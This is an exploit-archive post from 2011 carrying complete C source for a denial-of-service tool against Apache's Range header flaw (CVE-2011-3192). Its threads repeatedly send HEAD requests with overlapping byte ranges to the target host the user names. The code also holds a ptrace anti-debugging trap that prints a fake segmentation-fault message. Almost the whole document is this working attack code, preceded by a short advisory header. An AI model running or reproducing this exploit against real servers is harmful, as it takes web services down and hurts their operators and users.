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Apache Range Header Denial Of Service

Apache Range Header Denial Of Service
Posted Dec 9, 2011
Authored by Ramon de C Valle

This is a reverse engineered version of the exploit by ev1lut10n that triggers a denial of service condition using a vulnerability in the Range header of Apache versions 1.3.x, 2.0.64 and below and 2.2.19 and below.

tags | exploit, denial of service
advisories | CVE-2011-3192
MD5 | 9f5363e14c1fb3f5e64d4c431ff3e68a

Apache Range Header Denial Of Service

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/*
* This is a reverse engineered version of the exploit for CVE-2011-3192 made
* by ev1lut10n (http://jayakonstruksi.com/backupintsec/rapache.tgz).
* Copyright 2011 Ramon de C Valle <rcvalle@redhat.com>
*
* Compile with the following command:
* gcc -Wall -pthread -o rcvalle-rapache rcvalle-rapache.c
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <unistd.h>
#include <pthread.h>

void ptrace_trap(void) __attribute__ ((constructor));

void
ptrace_trap(void) {
if (ptrace(PTRACE_TRACEME, 0, 0, 0) < 0) {
write(fileno(stdout), "Segmentation fault\n", 19);
exit(-1);
}
}

void
w4rn41dun14mu(int attr, int fg, int bg)
{
char command[13];

sprintf(command, "%c[%d;%d;%dm", 0x1b, attr, fg+30, bg+40);
printf("%s", command);
}

void
banner()
{
w4rn41dun14mu(0, 1, 0);
fwrite("Remote Apache Denial of Service Exploit by ev1lut10n\n", 53, 1,
stdout);
}

void
gime_er_mas()
{
printf("%c%s", 0x1b, "[2J");
printf("%c%s", 0x1b, "[1;1H");
puts("\nsorry dude there's an error...");
}

struct thread_info {
pthread_t thread_id;
int thread_num;
char *argv_string;
};

static void *
thread_start(void *arg)
{
struct thread_info *tinfo = (struct thread_info *) arg;
char hostname[64];
int j;

strcpy(hostname, tinfo->argv_string);

j = 0;
while (j != 10) {
struct addrinfo hints;
struct addrinfo *result, *rp;
int sfd, s;
ssize_t nwritten;

memset(&hints, 0, sizeof(struct addrinfo));
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_flags = 0;
hints.ai_protocol = 0;

s = getaddrinfo(hostname, "http", &hints, &result);
if (s != 0) {
fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(s));
exit(EXIT_FAILURE);
}

for (rp = result; rp != NULL; rp = rp->ai_next) {
sfd = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol);
if (sfd == -1)
continue;

if (connect(sfd, rp->ai_addr, rp->ai_addrlen) == -1)
close(sfd);
}

if (result != NULL)
freeaddrinfo(result);

nwritten = write(sfd, "HEAD / HTTP/1.1\n"
"Host:localhost\n"
"Range:bytes=0-,0-\n"
"Accept-Encoding: gzip", 71);
if (nwritten == -1)
close(sfd);

usleep(300000);

j++;
}

return 0;
}

int
main(int argc, char *argv[])
{
int i;
struct thread_info tinfo;

banner();

if (argc <= 1) {
w4rn41dun14mu(0, 2, 0);
fwrite("\n[-] Usage : ./rapache hostname\n", 32, 1, stdout);
return 0;
}

w4rn41dun14mu(0, 3, 0);
printf("[+] Attacking %s please wait in minutes ...\n", argv[1]);

while (1) {
i = 0;
while (i != 50) {
tinfo.thread_num = i;
tinfo.argv_string = argv[1];

pthread_create(&tinfo.thread_id, NULL, &thread_start, &tinfo);

usleep(500000);

i++;
}
}
}

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